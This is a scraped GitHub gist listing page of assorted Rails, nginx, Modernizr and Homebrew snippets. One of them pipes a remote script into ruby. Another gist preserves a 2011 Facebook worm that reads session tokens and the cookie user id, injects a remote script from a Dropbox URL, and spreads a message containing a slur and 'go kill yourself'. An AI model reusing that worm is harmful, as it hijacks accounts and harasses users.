Skip to content

Instantly share code, notes, and snippets.

View andrew's full-sized avatar

Andrew Nesbitt andrew

View GitHub Profile
@andrew
andrew / rails3_template.rb
Created October 10, 2010 10:20
rails 3 template
# Delete unnecessary files
run "rm public/index.html"
run "rm app/views/layouts/application.html.erb"
run "rm public/favicon.ico"
run "rm public/images/rails.png"
run "rm public/javascripts/application.js"
run "rm public/javascripts/prototype.js"
run "rm public/javascripts/effects.js"
run "rm public/javascripts/dragdrop.js"
run "rm public/javascripts/controls.js"
@semanticart
semanticart / rails3-skeletor.rb
Created October 14, 2010 22:20
a rails 3 template app that gives you a few nifty items
# usage: rails new APP_NAME -m http://gist.github.com/627198.txt -TJ
# the -T drops test-unit and the -J drops prototype
gem "pg"
gem "omniauth"
gem "paperclip"
gem "haml"
gem "sass"
@ralphholzmann
ralphholzmann / iframe-facebook.js
Created November 13, 2010 19:44
Modernizr tests to detect if you're in an iframe or facebook iframe
Modernizr
.addTest('iframe', function() {
return window.top.location != window.location;
})
.addTest('facebook', function() {
return !! ~ location.href.indexOf( 'fb_sig_in_iframe=1' );
});
@netpro2k
netpro2k / gist:709570
Created November 22, 2010 05:39
libfreenect homebrew formula
# install homebrew (details here: https://github.com/mxcl/homebrew/wiki/installation or just run the following command)
ruby -e "$(curl -fsSL https://gist.github.com/raw/323731/install_homebrew.rb)"
# install xcode: http://developer.apple.com/technologies/xcode.html
# install homebrew formulas (this should eventually be in official homebrew repo)
cd /usr/local/Library/Formula
curl --insecure -O "https://github.com/OpenKinect/libfreenect/raw/master/platform/osx/homebrew/libfreenect.rb"
curl --insecure -O "https://github.com/OpenKinect/libfreenect/raw/master/platform/osx/homebrew/libusb-freenect.rb"
@lenary
lenary / gitconfig.ini
Created February 18, 2011 01:21
a special excerpt of my gitconfig
$ git clone github:lenary/guides.git
Cloning into guides...
remote: Counting objects: 255, done.
remote: Compressing objects: 100% (216/216), done.
remote: Total 255 (delta 111), reused 163 (delta 35)
Receiving objects: 100% (255/255), 1.49 MiB | 564 KiB/s, done.
Resolving deltas: 100% (111/111), done.
$ cd guides
$ git remote -v
@thattommyhall
thattommyhall / gist:953400
Created May 3, 2011 14:14 — forked from andykent/gist:925458
Nginx Upstart
description "nginx http daemon"
start on runlevel [2345]
stop on runlevel [!2345]
exec /opt/nginx/sbin/nginx -g "daemon off;"
respawn
@chriseppstein
chriseppstein / 1_sprite_input.css
Created May 5, 2011 23:34
A snippet of sprites on my latest feature at work.
@import "local/provider/databar-icon/*.png";
#databar {
.data-field {
.icon {
@include databar-icon-sprite(default);
@include databar-icon-sprite-dimensions(default);
float: left;
margin: 9px 3px 0 0;
}
@ryanb
ryanb / rails_3_1_rc4_changes.md
Created May 6, 2011 01:10
The Changelogs for Rails 3.1 Beta 1

Railties 3.1 RC4

  • The new rake task assets:clean removes precompiled assets. [fxn]

  • Application and plugin generation run bundle install unless --skip-gemfile or --skip-bundle. [fxn]

  • Fixed database tasks for jdbc* adapters #jruby [Rashmi Yadav]

  • Template generation for jdbcpostgresql #jruby [Vishnu Atrai]

@tysonmote
tysonmote / facebook_hack.js
Created May 12, 2011 06:48
Nicole Santos Facebook hack
// 5/11/11 Facebook hack -- Started spreading and was quickly taken down by Dropbox (where the file was hosted).
var message = "Fuck you faggot. Go kill yourself. Do whatever the fuck you want. I hate you and the only way to remove all these posts is by disabling this below.";
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://dl.dropbox.com/u/10505629/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";
var myText = "Remove This App";
var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
@jayzes
jayzes / Procfile
Created May 26, 2011 20:59
Thinking Sphinx and Foreman
sphinx: bundle exec rake ts:run_in_foreground